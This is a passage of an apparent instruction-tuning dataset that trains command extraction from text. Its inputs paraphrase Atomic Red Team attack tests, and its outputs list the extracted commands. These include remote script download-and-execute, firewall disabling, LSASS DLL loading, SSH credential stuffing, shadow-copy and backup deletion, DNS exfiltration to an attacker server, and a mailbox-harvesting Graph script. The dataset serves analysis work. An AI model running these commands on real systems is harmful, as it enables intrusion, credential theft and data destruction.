sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can start PowerUpSQL checks by executing the powerSQL function of WinPwn via this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowerSQL -noninteractive -consoleoutput; The Microsoft Defender Firewall can be disabled for the active profile with the command: netsh advfirewall set currentprofile state off. Warning: Remote access requires special attention since cleanup operations might restore firewall settings.", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowerSQL -noninteractive -consoleoutput\", \"netsh advfirewall set currentprofile state off\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This Atomic modifies an undocumented registry key to load an arbitrary DLL into LSASS, which can be achieved by running the following command: New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"#{dll_path}\"; To attempt SSH logins using credentials from a password dump, use the following command: cp \"$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt\" /tmp/\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\":\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\":\" -f1`@#{target_host};done", "output": "{\"command_list\": [\"New-ItemProperty -Path HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS -Name LsaDbExtPt -Value \\\"#{dll_path}\\\"\\n\", \"cp \\\"$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt\\\" /tmp/\\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\\\":\\\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\\\":\\\" -f1`@#{target_host};done\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This will execute a bash shell with a trap for SIGINT, which runs a script writing to /tmp/art-fish.txt, via the command: bash -c 'trap \"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\" SIGINT && kill -SIGINT $$'; Information about past Wi-Fi connections and their stored keys can be displayed by executing this command: netsh wlan show profile * key=clear", "output": "{\"command_list\": [\"bash -c 'trap \\\"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\\\" SIGINT && kill -SIGINT $$'\\n\", \"netsh wlan show profile * key=clear\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Numerous ransomware families employ this technique, which involves deleting the Windows systemstatebackup via the command: wbadmin delete systemstatebackup -keepVersions:0. Note that this may only work on server platforms with Windows Backup enabled.; The System Restore scheduled task can be disabled by executing this command: schtasks.exe /Change /TN \"\\Microsoft\\Windows\\SystemRestore\\SR\" /disable", "output": "{\"command_list\": [\"wbadmin delete systemstatebackup -keepVersions:0\\n\", \"schtasks.exe /Change /TN \\\"\\\\Microsoft\\\\Windows\\\\SystemRestore\\\\SR\\\" /disable\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Numerous ransomware families and APT malware such as Olympic Destroyer utilize this method, which involves executing the command: wmic.exe shadowcopy delete, to delete Windows Volume Shadow Copies.; This technique, used by multiple ransomware families and APT malware including Olympic Destroyer, removes the Windows Backup Catalog with the command: wbadmin delete catalog -quiet", "output": "{\"command_list\": [\"wmic.exe shadowcopy delete\\n\", \"wbadmin delete catalog -quiet\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An attacker can exfiltrate sensitive data by encoding it as a subdomain with base64 and querying a controlled DNS server, using the following command: dig @#{attacker_dns_server} -p #{dns_port} $(echo \"#{secret_info}\" | base64).google.com; To create and register an Entra application for downloading emails from Office 365 mailboxes via Microsoft Graph API app-only access, adversaries can use the following command sequence: $ss = ConvertTo-SecureString \"#{password}\" -AsPlainText -Force\n$cred = New-Object PSCredential -ArgumentList '#{username}', $ss\n$param = @{\n Credential = $cred\n Force = $true\n}\n$null = Connect-AzAccount @param\n$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token\n$cert = New-SelfSignedCertificate -Subject \"CN=PowerShell Application\" -CertStoreLocation \"Cert:\\CurrentUser\\My\" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256\n$reqResourceAccess = ( @{ \"resourceAccess\" = (@{\"id\"= \"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\"; \"type\"= \"Scope\"}, @{ \"id\"= \"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\"; \"type\"= \"Scope\"}, @{\"id\"= \"37f7f235-527c-4136-accd-4a02d197296e\"; \"type\"= \"Scope\"}, @{\"id\"= \"14dad69e-099b-42c9-810b-d002981feec1\"; \"type\"= \"Scope\"}, @{ \"id\"= \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\"; \"type\"= \"Scope\"}, @{ \"id\"= \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\"; \"type\"= \"Role\"}); \"resourceAppId\" = \"00000003-0000-0000-c000-000000000000\" })\nconnect-mggraph -AccessToken $token\n$context = Get-MgContext \n$users = get-MgUser\n$app = New-MgApplication -DisplayName \"T1114.002 Atomic Test #1 - Office365 - Remote Email Collection\" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris=\"http://localhost\"; } -KeyCredentials @(@{ Type=\"AsymmetricX509Cert\"; Usage=\"Verify\"; Key=$cert.RawData })\nNew-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null\n$resourceSPN = Get-MgServicePrincipal -Filter \"AppId eq '$($app.AppId)'\"\n$graphApiApp = Get-MgServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n$mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq \"Mail.Read\"\nNew-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id\n$mailbox1 = \"#{1st_target_mailbox}\"\n$mailbox2 = \"#{2nd_target_mailbox}\"\n$mailbox3 = \"#{3rd_target_mailbox}\"\n[System.Collections.ArrayList]$selectUsers = @()\nforeach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}\nconnect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name\nforeach ($user in $selectUsers) { $url= \"https://graph.microsoft.com/v1.0/users/$($user)/messages\" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}", "output": "{\"command_list\": [\"dig @#{attacker_dns_server} -p #{dns_port} $(echo \\\"#{secret_info}\\\" | base64).google.com\\n\", \"$ss = ConvertTo-SecureString \\\"#{password}\\\" -AsPlainText -Force\\n$cred = New-Object PSCredential -ArgumentList '#{username}', $ss\\n$param = @{\\n Credential = $cred\\n Force = $true\\n}\\n$null = Connect-AzAccount @param\\n$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token\\n$cert = New-SelfSignedCertificate -Subject \\\"CN=PowerShell Application\\\" -CertStoreLocation \\\"Cert:\\\\CurrentUser\\\\My\\\" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256\\n$reqResourceAccess = ( @{ \\\"resourceAccess\\\" = (@{\\\"id\\\"= \\\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{ \\\"id\\\"= \\\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{\\\"id\\\"= \\\"37f7f235-527c-4136-accd-4a02d197296e\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{\\\"id\\\"= \\\"14dad69e-099b-42c9-810b-d002981feec1\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{ \\\"id\\\"= \\\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{ \\\"id\\\"= \\\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\\\"; \\\"type\\\"= \\\"Role\\\"}); \\\"resourceAppId\\\" = \\\"00000003-0000-0000-c000-000000000000\\\" })\\nconnect-mggraph -AccessToken $token\\n$context = Get-MgContext \\n$users = get-MgUser\\n$app = New-MgApplication -DisplayName \\\"T1114.002 Atomic Test #1 - Office365 - Remote Email Collection\\\" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris=\\\"http://localhost\\\"; } -KeyCredentials @(@{ Type=\\\"AsymmetricX509Cert\\\"; Usage=\\\"Verify\\\"; Key=$cert.RawData })\\nNew-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null\\n$resourceSPN = Get-MgServicePrincipal -Filter \\\"AppId eq '$($app.AppId)'\\\"\\n$graphApiApp = Get-MgServicePrincipal -Filter \\\"DisplayName eq 'Microsoft Graph'\\\"\\n$mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq \\\"Mail.Read\\\"\\nNew-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id\\n$mailbox1 = \\\"#{1st_target_mailbox}\\\"\\n$mailbox2 = \\\"#{2nd_target_mailbox}\\\"\\n$mailbox3 = \\\"#{3rd_target_mailbox}\\\"\\n[System.Collections.ArrayList]$selectUsers = @()\\nforeach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}\\nconnect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name\\nforeach ($user in $selectUsers) { $url= \\\"https://graph.microsoft.com/v1.0/users/$($user)/messages\\\" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 